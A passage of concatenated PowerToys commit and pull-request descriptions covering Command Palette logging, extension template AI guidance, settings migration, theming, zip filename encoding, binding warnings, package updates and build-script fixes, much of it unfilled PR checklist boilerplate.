function as expected via PowerToys Run. Malicious strings designed to
break out of quotes now fail to execute sub-commands, as confirmed
during local verification.
---------
Co-authored-by: LegendaryBlair <legendaryblair@icloud.com>
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
This pull request introduces a new logging infrastructure for the CmdPal
module by integrating the Microsoft.Extensions.Logging (MEL) abstraction
and routing all log output through the existing `ManagedCommon.Logger`.
The changes add a custom logger, logger provider, and extension method
for easy registration, and update dependencies and service configuration
to enable the new logging system.
> This logging is not in use currently, but will be in a future PR.
**Logging Infrastructure Integration:**
* Added a new `CmdPalLogger` class implementing `ILogger`, which
delegates logging calls to `ManagedCommon.Logger` to centralize and
standardize log output.
* Implemented `CmdPalLoggerProvider` to create and manage `CmdPalLogger`
instances, allowing MEL-based logging throughout the application.
* Introduced `CmdPalLoggingExtensions.AddCmdPalLogging` for registering
the logger provider via dependency injection, ensuring all MEL logging
is routed appropriately.
* Updated `App.xaml.cs` to register the new logging system with
`services.AddCmdPalLogging()`, enabling the infrastructure at
application startup.
[[1]](diffhunk://#diff-84386fa8a23e7058525bd269788bbf9e352b1f49d08e5f877059386ba3b83222R8)
[[2]](diffhunk://#diff-84386fa8a23e7058525bd269788bbf9e352b1f49d08e5f877059386ba3b83222R129-R130)
**Project and Dependency Updates:**
* Updated the project file `Microsoft.CmdPal.Common.csproj` to reference
the `ManagedCommon` project and to include a folder for the new logging
code.
[[1]](diffhunk://#diff-affab7e2df96d3b8073ab649e4ef5a34d459cd69e525573fd6426d698efec18fR29)
[[2]](diffhunk://#diff-affab7e2df96d3b8073ab649e4ef5a34d459cd69e525573fd6426d698efec18fR64-R67)
## Summary of the Pull Request
Adds Copilot instructions and skills to the CmdPal extension template so
that when developers create a new extension via "Create a new
extension", the generated project includes AI-assisted development
guidance out of the box.
I verified the skills on my own extension:
<img
src="https://github.com/user-attachments/assets/24bddefd-f38a-4faa-aaf0-686bcb891241">
## PR Checklist
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
## Detailed Description of the Pull Request / Additional comments
### Problem
When developers create a new Command Palette extension, the generated
project contains only source code and build configuration — no
AI-assisted development guidance. This means Copilot and other AI tools
have no context about CmdPal extension APIs, patterns, or publishing
workflows.
### Solution
Added **2 instruction files** and **5 skills** (11 markdown files total)
to the extension template at
`src/modules/cmdpal/ExtensionTemplate/TemplateCmdPalExtension/.github/`:
**Instructions:**
| File | Purpose |
|------|---------|
| `copilot-instructions.md` | Top-level project overview: structure,
conventions, build/deploy workflow, skill inventory |
| `instructions/cmdpal-extension.instructions.md` | Comprehensive
353-line API reference covering extension architecture, all page types,
content types, commands/results, items, icons, dynamic updates, and
debugging |
**Skills:**
| Skill | Description | Why |
|-------|-------------|-----|
| `publish-extension` | Microsoft Store (MSIX) + WinGet (EXE) + GitHub
Actions automation | Every extension eventually needs distribution |
| `add-adaptive-card-form` | Adaptive Cards Designer workflow + template
JSON patterns | Forms are the primary way to collect user input |
| `add-extension-settings` | ToggleSetting / TextSetting /
ChoiceSetSetting + persistence | 12 of 20 built-in extensions use
settings |
| `add-dock-band` | Single/multi-button bands, WrappedDockItem,
live-updating | Enables persistent toolbar widgets |
| `add-fallback-commands` | FallbackCommands() + DynamicListPage +
CancellationToken | 14 of 20 built-in extensions use fallback commands |
### Code changes
- **`ExtensionTemplateService.cs`** — Added `.md` to
`_copyAsIsTemplateExtensions` so markdown files are properly handled
during template extraction
- **`template.zip`** — Regenerated to include the new `.github/`
directory (19KB → 44KB)
- **`.github/actions/spell-check/expect.txt`** — Added 17 Inno Setup
constants/flags, placeholder identifiers, and technical tokens from the
new skill files to the spell-check allowlist
### Content sources
- Instructions derived from the **SamplePagesExtension** (all 20+ sample
pages), the **CmdPal extension SDK** (IDL + toolkit base classes), and
**official MS Learn documentation**
- Publishing skill based on the [Publish Command Palette
extensions](https://learn.microsoft.com/windows/powertoys/command-palette/publishing-your-extension)
docs
- Patterns verified against all 20 real CmdPal extensions in the repo
## Validation Steps Performed
1. ✅ All 7 `ExtensionTemplateServiceTests` pass:
- `CreateExtension_BuildsExtensionFromTemplateArchive`
- `CopyTemplateFile_RewritesTextFiles`
- `CopyTemplateFile_CopiesUnchangedTextFilesVerbatim`
- `CopyTemplateFile_CopiesBinaryFilesWithoutRewritingContents`
- `TemplateFileHandling_ThrowsForUnknownExtension`
- `TemplateExtensionCategories_AreDisjointAndCoverTemplateZip` —
validates `.md` is in the extension lists
- `TemplateZipFiles_AllUseKnownHandling` — validates all zip entries
have known handling
2. ✅ Verified `template.zip` contains all 31 entries (20 original + 11
new `.md` files)
3. ✅ Verified directory structure is preserved correctly in the zip
4. ✅ Added 17 flagged tokens to `expect.txt` to resolve `check-spelling`
CI failures — all are valid technical terms (Inno Setup constants/flags,
domain names, Windows environment variables, code example placeholders)
that appear inside code blocks in the skill documentation
5. ✅ `check-spelling` CI passes with 0 new misspelled words found on the
latest commit
---------
Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: niels9001 <9866362+niels9001@users.noreply.github.com>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
See title
Ref: #46582
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
## Summary of the Pull Request
Inline code (backtick-wrapped text) in the Details panel renders white
regardless of theme, making it invisible on light backgrounds. The
`DefaultMarkdownThemeConfig` in CmdPal was missing `InlineCode*` styling
properties, so the toolkit's `MarkdownTextBlock` fell back to
non-theme-aware defaults. The Settings UI already had this configured
correctly.
Fixes: #46734
## PR Checklist
- [x] **Tests:** XAML-only change; no behavioral logic affected
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
## Detailed Description of the Pull Request / Additional comments
Added theme-aware `InlineCode*` properties to
`DefaultMarkdownThemeConfig` in two files, matching the existing pattern
from `Settings.UI/App.xaml`:
- **`ShellPage.xaml`** — Details panel (the reported bug)
- **`ContentPage.xaml`** — Content page markdown (consistency)
Properties added:
```xml
InlineCodeForeground="{StaticResource TextFillColorSecondaryBrush}"
InlineCodeBackground="{StaticResource ControlFillColorDefaultBrush}"
InlineCodeBorderBrush="{StaticResource ControlElevationBorderBrush}"
InlineCodeCornerRadius="2"
InlineCodePadding="2,0,2,1"
```
These `StaticResource` brushes resolve per-theme
(Light/Dark/HighContrast) automatically.
## Validation Steps Performed
- Verified the Settings UI already uses this exact pattern in `App.xaml`
(`DescriptionTextMarkdownThemeConfig`) and renders inline code correctly
across themes.
- Confirmed no other `MarkdownThemes` definitions exist in the CmdPal
module.
---------
Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: michaeljolley <1228996+michaeljolley@users.noreply.github.com>
## Summary of the Pull Request
Each built-in CmdPal extension was reading and writing settings directly
to a shared `settings.json` file, which could be silently overwritten by
the persistence service. This PR gives each extension its own
`{namespace}.settings.json` file and adds transparent migration from the
legacy shared file.
## PR Checklist
- [x] Closes: #46667
- [x] **Communication:** I've discussed this with core contributors
already.
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** N/A — no user-facing strings changed
- [ ] **Dev docs:** N/A — internal implementation detail
- [ ] **New binaries:** N/A — no new binaries
## Detailed Description of the Pull Request / Additional comments
### Core change — `JsonSettingsManager` (extensions SDK)
Added `MigrateFromLegacyFile(string legacyFilePath)` to
`src/modules/cmdpal/extensionsdk/Microsoft.CommandPalette.Extensions.Toolkit/JsonSettingsManager.cs`:
- Skips if the per-extension file already exists (idempotent).
- Reads the legacy shared `settings.json`, extracts only the keys the
current extension owns via `Settings.Update()`, and writes them to the
new per-extension path.
- Logs on failure without throwing.
### Per-extension changes (11 SettingsManager files)
Each built-in extension's `SettingsJsonPath()` now returns
`{namespace}.settings.json` instead of `settings.json`, and a new
`LegacySettingsJsonPath()` helper preserves the old path for migration:
- `Microsoft.CmdPal.Ext.Apps` — `AllAppsSettings.cs`
- `Microsoft.CmdPal.Ext.Calc` — `Helper/SettingsManager.cs`
- `Microsoft.CmdPal.Ext.ClipboardHistory` — `Helpers/SettingsManager.cs`
- `Microsoft.CmdPal.Ext.Registry` — `Helpers/SettingsManager.cs`
- `Microsoft.CmdPal.Ext.RemoteDesktop` — `Settings/SettingsManager.cs`
- `Microsoft.CmdPal.Ext.Shell` — `Settings/SettingsManager.cs`
- `Microsoft.CmdPal.Ext.System` — `Helpers/SettingsManager.cs`
- `Microsoft.CmdPal.Ext.TimeDate` — `Helpers/SettingsManager.cs`
- `Microsoft.CmdPal.Ext.WebSearch` — `Helpers/SettingsManager.cs`
- `Microsoft.CmdPal.Ext.WindowWalker` — `Helpers/SettingsManager.cs`
- `Microsoft.CmdPal.Ext.WindowsTerminal` — `Helpers/SettingsManager.cs`
## Validation Steps Performed
- Built the solution and confirmed all 11 extensions compile cleanly.
- Launched CmdPal with an existing shared `settings.json` containing
settings for multiple extensions. Verified each extension created its
own `{namespace}.settings.json` and loaded the correct values.
- Confirmed subsequent launches skip migration (per-extension file
already exists).
- Verified the persistence service no longer overwrites
extension-specific settings.
---------
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
discussed here:
https://github.com/check-spelling/check-spelling/issues/103
Merge it first to test if we can fix this issue.
It blocked our PR pipeline which created from the forked repo.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
Co-authored-by: Yu Leng (from Dev Box) <yuleng@microsoft.com>
Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Auto detect file name encoding when previewing zip file
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #44790
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [x] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
The encoding of file names in zip files defaults to the native encoding
of the creator's OS. For example, a zip file created on a zh-CN Windows
PC uses GBK. However, currently peek always uses UTF-8 when opening zip
file, resulting in garbled text.
Here I added an auto-detection mechanism in peek to support different
zip filename encodings.
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
1. Turn on peek
2. Download this file:
[chinese-example.zip](https://github.com/user-attachments/files/24155422/chinese-example.zip)
3. Select this file and press Ctrl+Space
Previous behaviour (incorrect):
<img width="1964" height="1326" alt="Image"
src="https://github.com/user-attachments/assets/2d331647-5761-4331-97ba-4c4c01132afb"
/>
Current behaviour (correct):
<img width="2026" height="1269" alt="图片"
src="https://github.com/user-attachments/assets/db456426-f7f6-467c-8f3c-1e01cba44fec"
/>
Refactored PadImage to return a bool and use an out parameter for the
padded bitmap, with [NotNullWhen(true)] for nullability. Updated
GetWindowBoundsImage to handle disposal of the original bitmap when
padding is applied, improving memory management and code clarity.
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
## Summary
Fixes all 13 **WMC1506** XAML compiler warnings ("OneWay bindings
require at least one of their steps to support raising notifications
when their value changes") by changing \Mode=OneWay\ to \Mode=OneTime\
on \x:Bind\ expressions bound to non-observable properties.
## Details
**Root cause:** \PasteFormat\ (plain sealed class) and \ClipboardItem\
(plain class) do not implement \INotifyPropertyChanged\. Using
\Mode=OneWay\ on their properties creates subscriptions that will never
fire, generating WMC1506 warnings.
**Fix:** Changed to \Mode=OneTime\ which is semantically correct — these
properties are set once and never change after construction.
**Files changed:**
- \ClipboardHistoryItemPreviewControl.xaml\ — 2 bindings (\Header\,
\Timestamp\)
- \MainPage.xaml\ — 11 bindings across \PasteFormat\ and \ClipboardItem\
DataTemplates
**Note on ClipboardHistoryItemPreviewControl:** Its computed properties
(\Header\, \Timestamp\) are refreshed via \Bindings.Update()\ when the
\ClipboardItem\ DependencyProperty changes. \Bindings.Update()\ forces
re-evaluation of all \x:Bind\ bindings regardless of mode, so \OneTime\
works correctly here.
## Validation
- [x] Full solution build passes (exit code 0)
- [x] Zero WMC1506 warnings after changes (was 13 before)
- [x] No behavioral changes — only binding mode optimization
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Swap expected/actual arguments in 22 Assert calls to follow the correct
MSTest convention of Assert.AreEqual(expected, actual).
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Add meaningful descriptions to 6 empty returns XML doc tags across DSC,
CmdPal, and Extensions.Toolkit.
---------
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
## Summary of the Pull Request
Updates all `CommunityToolkit.WinUI` packages from `8.2.250402` to
`8.2.251219` (latest stable) and removes three workaround hacks from
`SearchBar.xaml.cs` that were added to paper over bugs in the
`CommunityToolkit.WinUI.Extensions` debouncer (`Debounce` with
`immediate: true` not firing correctly). Those bugs were fixed upstream
and are included in `8.2.251219`.
## PR Checklist
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
## Detailed Description of the Pull Request / Additional comments
### Package update (`Directory.Packages.props`)
All `CommunityToolkit.WinUI` packages bumped from `8.2.250402` →
`8.2.251219`:
- `CommunityToolkit.WinUI.Animations`
- `CommunityToolkit.WinUI.Collections`
- `CommunityToolkit.WinUI.Controls.Primitives`
- `CommunityToolkit.WinUI.Controls.SettingsControls`
- `CommunityToolkit.WinUI.Controls.Segmented`
- `CommunityToolkit.WinUI.Controls.Sizers`
- `CommunityToolkit.WinUI.Converters`
- `CommunityToolkit.WinUI.Extensions`
### Hack removals (`SearchBar.xaml.cs`)
All three hacks were in `SearchBar.xaml.cs` (`Controls/`), tagged `TODO
GH #245`:
- **`FilterBox_TextChanged` — "TERRIBLE HACK"**: Forced
`DoFilterBoxUpdate()` immediately for any single-character input, then
returned early—bypassing the debouncer entirely. Now the debouncer's
`immediate: FilterBox.Text.Length <= 1` path handles this correctly.
- **Escape key handler**: After `FilterBox.Text = string.Empty`,
manually pushed the empty string to
`CurrentPageViewModel.SearchTextBox`. The `TextChanged` event fires
after the assignment and the debouncer (with `immediate: true` for
length 0) now handles propagation.
- **Backspace key handler (`else if (e.Key == VirtualKey.Back)`
block)**: Pre-emptively set `CurrentPageViewModel.SearchTextBox` to the
*pre-deletion* text in `FilterBox_KeyDown`. Entire block removed;
`TextChanged` + debouncer handle the post-deletion update correctly.
## Validation Steps Performed
Manually verified in CmdPal that:
- Typing aliases (single-character triggers) still activates filtering
immediately
- Pressing Escape clears the search box and resets the filter
- Pressing Backspace correctly updates search results after each
deletion
<!-- START COPILOT ORIGINAL PROMPT -->
<details>
<summary>Original prompt</summary>
>
> ----
>
> *This section details on the original issue you should resolve*
>
> <issue_title>Update to the latest `CommunityToolkit.WinUI.Extensions`
and remove hacks</issue_title>
> <issue_description>_originally filed by @zadjii-msft_
>
> See
https://github.com/zadjii-msft/PowerToys/pull/236#discussion_r1887714771
>
> I had to stick a couple of HACKs into `SearchBar.xaml.cs` to work
around bugs in the toolkit debouncer. Those bugs have since been fixed
upstream, hooray! We just need a new version of the package shipped and
we can get rid of them.
>
> ref https://github.com/zadjii-msft/PowerToys/issues/236
>
> ----
>
> Also!
>
> Revert
>
> ```
> // TODO(stefan): REVERT THIS TO DASHBOARD PAGE!!!! SPELCHHHHEEK FAIL
> ```
>
> from
https://github.com/zadjii-msft/PowerToys/issues/215</issue_description>
>
> ## Comments on the Issue (you are @copilot in this section)
>
> <comments>
> <comment_new><author>@niels9001</author><body>
> @zadjii-msft @michaeljolley I assume we are on a later version now? Do
we still need to remove the hacks?</body></comment_new>
> <comment_new><author>@zadjii-msft</author><body>
> We sure do!
>
> There's the SearchBar.xaml.cs ones, and I also had to manually copy
over the `TypedEventHandlerExtensions.cs`</body></comment_new>
> </comments>
>
</details>
<!-- START COPILOT CODING AGENT SUFFIX -->
- Fixesmicrosoft/PowerToys#38285
<!-- START COPILOT CODING AGENT TIPS -->
---
🔒 GitHub Advanced Security automatically protects Copilot coding agent
pull requests. You can protect all pull requests by enabling Advanced
Security for your repositories. [Learn more about Advanced
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---------
Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: niels9001 <9866362+niels9001@users.noreply.github.com>
Co-authored-by: Niels Laute <niels.laute@live.nl>
Update 29 property XML doc summaries to begin with Gets, Gets or sets,
or Gets a value indicating whether as required by StyleCop SA1623.
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
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for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
## Summary of the Pull Request
Updates the Windows Implementation Library (WIL) to version
1.0.250325.1. This fixes some static analysis warnings in C++ projects
that use WIL.
The version is now managed centrally via `Directory.Packages.props`
(Central Package Management), replacing the previous per-project
`packages.config` approach.
## PR Checklist
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
## Detailed Description of the Pull Request / Additional comments
- Updated `Microsoft.Windows.ImplementationLibrary` from `1.0.231216.1`
to `1.0.250325.1` in `Directory.Packages.props`.
- The change is a single-line update since the codebase uses Central
Package Management — all C++ projects reference WIL via
`PackageReference` without specifying a version number directly.
## Validation Steps Performed
- Verified `Directory.Packages.props` correctly reflects the new WIL
version `1.0.250325.1`.
- Merged latest `main` branch to resolve conflicts arising from the
migration to Central Package Management.
Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: niels9001 <9866362+niels9001@users.noreply.github.com>
- Apply codec-specific encoder properties (e.g. JPEG quality) in the
transcode path when transforms are required, matching WPF behavior.
- Apply PngInterlaceOption to the WinRT PNG encoder via the
"InterlaceOption" BitmapPropertySet entry; previously the setting was
persisted but never passed to the encoder.
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
Co-authored-by: Yu Leng (from Dev Box) <yuleng@microsoft.com>
Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Fix the `build.ps1` that does not work well with `-RestoreOnly` switch.
Also there is `.slnf` now and the build script should support it.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
